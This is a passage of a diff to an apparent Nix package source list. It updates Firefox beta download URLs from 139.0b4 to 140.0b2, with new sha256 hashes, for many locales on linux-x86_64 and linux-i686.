-      sha256 = "7fb7b3fd94aabaa611c53c6d8b75e0908c5bb93b0bdaa73a3e6e030a204d0bbc";
+      sha256 = "3b14162e19e28f35bc616fae251180a7fdf1698a7a9ebd0f43e04215fdb6dd54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/vi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "27d15b1434b9aae896a3915eb647c1078a1663b1dfd6ce4c05d8e77bc21232f5";
+      sha256 = "34aaece124bf3a1af61dd0f6a0b7a7b924f332b04a2cb86c2e9375bb40e6e32b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/xh/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "642d2ce475f6b2662ae13a54775fb4e5a01a1d25a5cec6e95bc341e8505c4856";
+      sha256 = "1055d5e93a507660405c64d8a122617467d26894b7786e998a0226442bf2e106";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/zh-CN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "1c07356d7c142aed0c17df737aa7b3e0ad38d9d4897d7df7bfd0a79a367d8ca1";
+      sha256 = "3725c141425b3977fd3120f3a6eacfbd5e2fb413a3723834e30ac3a41e5c124c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/zh-TW/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "d20921bd3d75051a61de3890349bf65280a539824403074f51d14332cb33b3df";
+      sha256 = "7ff7baece1723aa893bed76b18117ea1ec633371018443553b7eb1af90617859";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ach/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "87a70f57297d5b0c01492da28bc80d74f290682f37b19a43fc6126efd85c6079";
+      sha256 = "b884ba50b81fe756b20f463131757dd701480fcd16133185a4fc983ca17d7c6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/af/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "c14ea82b75e114e01bad4b6e0b405c9611330105659b88bf8455857e181b4913";
+      sha256 = "60654b1bfb5c2922bb55ec75cc4c5c286e415741c0fb9b648bd53b3b2abb93d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/an/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "233822a13e7ddc7eb437a6fa48b95f57c4c1d7da7a6ca54e84015b6d6cc16f8f";
+      sha256 = "ef3be35e1124bedb22f1ec478e7f55e0436c416e5a049a7ec3d97be2b87012ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ar/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "c0cd5c0d31333a5a6ba6af3de586df838adbf7da09b2d85f8310757b3c9c8253";
+      sha256 = "67f4cda86a7e272fb194b6daaee4abe1040540014a02db93fa98e01f86748b4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ast/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "e38ac58bff96c8396df39b1fe090abd67bdf9b3e410f504f25e0d24482a2d1ed";
+      sha256 = "052afbe7da0e5f8772097e25db3019a4bf8092c3369f8617052e876b162e7d4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/az/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "2c7a74321548b4d3c3c07e2c0f1127c4f54c55d1af0dabfc6704fa7eaa02b102";
+      sha256 = "394b4a7cb760e060b75031ecaa462dbb72622565583eb0ad7d3228fa1ab8b522";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/be/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "624589d8c29240678a85b5b0978b4de1c43ea7850960bab85f7c7f7a172cb4f4";
+      sha256 = "c353fdd48caf79fa4ad02148bf80d480d7ecac400368d6e865be11f479ef794a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/bg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "84b144c5d7ae2cbc95dbb4fa262b6e0653000c645c9a604022aca70ead9282d8";
+      sha256 = "12e6f03a85147c992445ad753af7ba04c265570c103a489bca7fd9e724fc9f22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/bn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "b7273dc41403f54eff659a67c8a4b70f2a4df61f62a1dd4c562b0bc75c08f909";
+      sha256 = "fe2c94b27a658388764fe5147ff989d2915f013c3efe26a60210022ab749e877";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/br/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "0815292d40fb6ebe791d7de8d699ccc0d5096c0999fd498fe30ceb55aeb7292d";
+      sha256 = "aad228d7e751e6829e9fc48a4de4c71bfd1dbbe6cf698f0c51065baab521991e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/bs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "24de75d8e893acefc305717a2f8ba2decdb722e2505385d6cddb04ad43d7fe5b";
+      sha256 = "8931cc82c8f5a22053fe21dbb2947d5b1478348f8dd7e9ee4f727771166006af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ca-valencia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "2ba91787e8af61cb24de5c122a5ff57c6081e9680f7594d02e2b363f28e16a4b";
+      sha256 = "04a5f2a9344e369adfc40c57b719446da83ab80eea582efae5dc56ff0abb50de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ca/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "da9e7f0f9a0730b2a9c4bc467da5f5c2349f98e22f683db02b5651df4a202251";
+      sha256 = "36e14338dc3686949fc391946599b523b83c8bc9638c42ee7fa424ea4f0731f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/cak/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "8e77e88d9fc94f819d450ca6c7a78c618d881a97aabae5b997f7a6d69290e29f";
+      sha256 = "511fe4e4dbb53e2df4a76aa7ce83c67405f0f177d275125570b00e909c3dd327";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/cs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "a79b45aaf0e6e8f412e21e746265c1d43e7de9046a050b670ba3667b1462c620";
+      sha256 = "56f018158aa318c1ed5d4355b7fdc2de9ab98e45a2e7a86ba330a4b7f4b5c884";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/cy/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "2a436e2d6a9eba59a8bcb448cb61c5730772e204665416c4c2e04564c19ac23a";
+      sha256 = "7f4a3c45b989379066dc94eb10c609c94efb62706a0ce6238c9f652b18e11972";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/da/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "c055660cefb5fe09c71ea087de51efbd4d0b8c2a349f78f2ec5d4349116ad694";
+      sha256 = "d4cbf628409e36837cfdeb25c4815bb48d469d9c21019a87960e904ef2f2bf03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/de/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "e3d546c3a20067ea5c710e6af065bcd11e6ab49a803f730873affa229a1badc8";
+      sha256 = "3cffaf86b35b6c4fc8dafac8817c958247241e617562baab0c099159f4d8445a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/dsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "50b1be16d8856605e37078f0cb87bce59f621a76c354a8d64d2f9a68e626405a";
+      sha256 = "ae5ef7bfad006e61943aab84c6b4af62beb4e2caa2b802e5bc7cd1d8cf4ca29d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/el/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "7f85663812934905be421c0bc3bb0ebcf22c5a497db7fbcf91a21b8174bdad0b";
+      sha256 = "efdbf60eeb1f6e04aebef7ef6c35d049d4719211d90203c514984dc0f506d2c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/en-CA/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "e5304a3d0557d7ec259e41e989ae191c14e7aa72203eea1ea2c180ba8aec1913";
+      sha256 = "72469319463c7a378e7de8de9cd28f9a64d13ba027aea08caf6cda9db297ad9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/en-GB/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "393f92153a7935bc161badc7d81b23803f1d6cf9ce69651097cbc383056a30d7";
+      sha256 = "593c9812fd7296bae1388d96d8b4aaf75a2f3bfcb6c1a4cb740cb28d5e34f3d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/en-US/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "8d61639f9b02659fa3486e2f17af815e028e87c373a1770c69e968af3c7c0b74";
+      sha256 = "eff54312f1bfa5f4be53d200cbaea6dd85f41c5cfea83611f9a6977ecc7228f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/eo/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "dcd9df03ad825bd50f3b162ebd5bc6561d09688972d7c80af15b10d1801a3fd3";
+      sha256 = "985b855971a03440ad95a69cb0042fb103b146900a7957ac61277b46dde691e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/es-AR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "cbe7dff319e0cf3d67126565366bf6063536188fb5b2c830e24b2b439d5410a2";
+      sha256 = "a37df3746470d646d2c97775d1e90cec189ae3e487f508fbd84523de7f6e35b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/es-CL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "225c027d37ea0d6da7f9de2c784ee13db182bc76ea0398ae7dd3ec90b3146b7c";
+      sha256 = "371f39656c30e7c677bf1b57696ef135191bb1b755f152b2df77638cba27afe7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/es-ES/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "2b349436c1ce8d99138875f11af5d5210210eaeb39f0dbdea381dafb8c5d4404";
+      sha256 = "7446b7f231a58db5feeda635bffc148ca699a3a3e792737077c177d4b7794318";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/es-MX/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "016fada5c527dd9c4c95b6549e2cbb7b3616ec6256c9e30c527f995af1029ebb";
+      sha256 = "b0ffd426095764a5b67cf7757f29aca249205379d2e5505f48a442e599796436";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/et/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "57eecae03d4cb2c2e86f2909e82a8e42113f86b7f30eb8711b3a6262e1157b4e";
+      sha256 = "9d67e8f49fedffb0054f6e211f6e43eb63767a0ce9733827f5ebdbb5d501305c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/eu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "af2405d4e1db8662e7cc6f212694ab80f607c854ddc707d5322d4a0565227f04";
+      sha256 = "f7902502f184288a7a3d3c22918711e9c7b615aac7e6ee233cefd0bdfcec7cdd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/fa/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "1170f8ca54cc2eac1a2bdd9a63eee87b29a627d30cd2f06e91e519ac2be2b05c";
+      sha256 = "7929c783bf090082fc51cee3e45398396ade4909237e9ba951c7d07ccdaa0126";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ff/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "bdc3e84a777bba9e664f29cc3e109af18dc40253b0f9b4fba57765b604d4320f";
+      sha256 = "64260c4ba89431f4537838ac0a4ad15aca7f2e771e8f7150f42cd7790be32e39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/fi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "db78665b7ea38f0f5f054949d3045239f6971b827e781bf740650596e7d91580";
+      sha256 = "388366eeed2c2487cbfea71ec8469c317b9b4315fe775e4aa629daf1ca6bee6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/fr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "9a41a156bf9c002d3f438c2895e3154ac483a67ebe6f80e0eee2b01b7fd7244e";
+      sha256 = "b5cd62e23ee855775e0529f849936dc0ff949605372e217b9cdb4dbcab135a3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/fur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "56220f6634ea0e7e69a29f07736120b46f2c1911e82df13a842e4101ab0e7cf0";
+      sha256 = "4fe3aee24eec68a7b88c40e23f035848030525b74cf3e17acc81bc84d5c0e086";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/fy-NL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "9334756030f7495ee55780665ba0f8587331364ef4221393106194b9ab938362";
+      sha256 = "2efb11fc2c9ac5591828fa237c4f3549ac6a708cc8ddbccb5517f6408c362eb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ga-IE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "96a68363e3a6593f3657da4d5add4af443b2db60d30efdcf23485244472e59eb";
+      sha256 = "64e96b326e33d74c2fed43d45c1900d3c90593c9ef8da0ecf15c1b5a509a5f1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/gd/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "2a21ee5ca1acca96a81cbd1c0f6f0ce8c3a52ed88ba787d98d6059bbc097e22f";
+      sha256 = "947d98a1333460ef5d722becc2d28599425e4f877c522f2f11bc320edebb8a77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/gl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "bd8a9e005ba534d5ab7436f78b02cc84f380bd36a4044a797085f529b23466eb";
+      sha256 = "8f3b052afdbe5371a4d2c87100f005aa1878a06ffae8cbf75dd95cc6003a7d97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/gn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "3d6aa78558ec05bfcab9872160c7ee06eda338aacdf78974022dab4fd047adaf";
+      sha256 = "c9fff849e03704d1324680eb856d01b051e8395e7dea9ee80ceba2ecb1c2c83a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/gu-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "37a683ae33978ad481ef68f40b3c83f27a85b13aa1b55b905905c2d3ed1ceafb";
+      sha256 = "d1ba1fd9a19556f8d1128d3b6025cd862210d8635f35221ae96a894414c1acbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/he/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "1916e775b875911d87365bfdbbf549ae728ab674814ac222edb955853a224273";
+      sha256 = "5624f4bc7a3b700e602af22443d40da302fcb604240258c5ff1864a32040421e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/hi-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "72a3b2387777f16e2b5f8232522d4080a276bf60b853a564f5e70c37d9fd2e3b";
+      sha256 = "d67706f3213f12d475250f0c1ee4d7e618b03bba9130803bf7cea24d5d46e770";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/hr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "4186afabb2595f717bda2555348fc082ea7167e6c83f03755d925ff2c084a31d";
+      sha256 = "55b89834e35ef17fb1d619a7ac949f0e662531892ea2c0d17fa5f6131e4575d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/hsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "6b12f273ce7cb98e913ebe1785e2271813c351fe85203a8e96558bee3d8b802b";
+      sha256 = "1c112a4996b5c32971ba5d784379ece5bab5f9ff10d3568884f76dc2e985e47f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/hu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "f689294ca4226c898df2ebcbfcd60c4b9fb8bf529bc51df60b36896a77b3fb95";
+      sha256 = "748830a3236b3165c25cf4ceb91e99d1c082c0df507e76e49825fa7b8437320e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/hy-AM/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "c1483077c18d4527053c7d979f9d8abc10710580295056f6fc14ce0034dd0711";
+      sha256 = "f836c11a40efc7cf1aecaa7719713f282d8d983c1df5d747669fde975f9173ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "11829a72579c847b78622bedf1aa6e5af500bf2eebc04bd10cbf8c7ea7790b3f";
+      sha256 = "9b814a6c15a9418f4e412cc265798d630fa2a935fa714db4db17b2916f3dc73f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/id/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "2217188bd592ca5c4cc8e2749ea31015861287c59fc14780335e42275b559cae";
+      sha256 = "d47fa1a73c96f23fa169fb0ca4dcf977e4bfe264be21620a61e91776381d09d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/is/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "1ffab05f776dc59104a34baa0164d6de764dc8882f4c7ab2748b59c492823c4d";
+      sha256 = "2c431df3eac6468a456d568e5659d422abf7b529e7405c522b63ab5151011825";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/it/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "3e9965d635107eaf2607463508d0da22906bcac4db645dd43708ad885c037ddb";
+      sha256 = "67d030c97665b64ea8ce7c61e9f2f42b1e2f917debbb072887552bd2640aa031";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ja/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "1a971c6f7e1558b6a47ca204a398c5b1b9be44700726b8daf0c0298271b5562c";
+      sha256 = "28a3bdbe49900a2b290a986800665bd610aaba582ed852c7d7c16b36efff4f90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ka/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "4b7c001d19b96b0254fc3d5760feb2f473014e5ba1602d320fe179d8c8e8e1f5";
+      sha256 = "55871733f141fce7cb20244efa9cce6811e79c45f5f77177de5e9ac48bfd2c1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/kab/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "4022280fc975d0fdccfe02ec6ee4159936a9de99ca2eed8d6c496f290a5a6d0a";
+      sha256 = "859ca377458e20fab592010257ab7d10552a8bb60d93d3936519c1b6cb6a82d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/kk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "06612dc7f831654df0ca60cf3c2ab4fd1e72b4cba16ec496f02528c0fd4fbfd8";
+      sha256 = "1759ea36efa1ccdb77734b0886c00c797356435994fed5747dc644ba0a18a477";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/km/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/km/firefox-140.0b2.tar.xz";
       locale = "km";
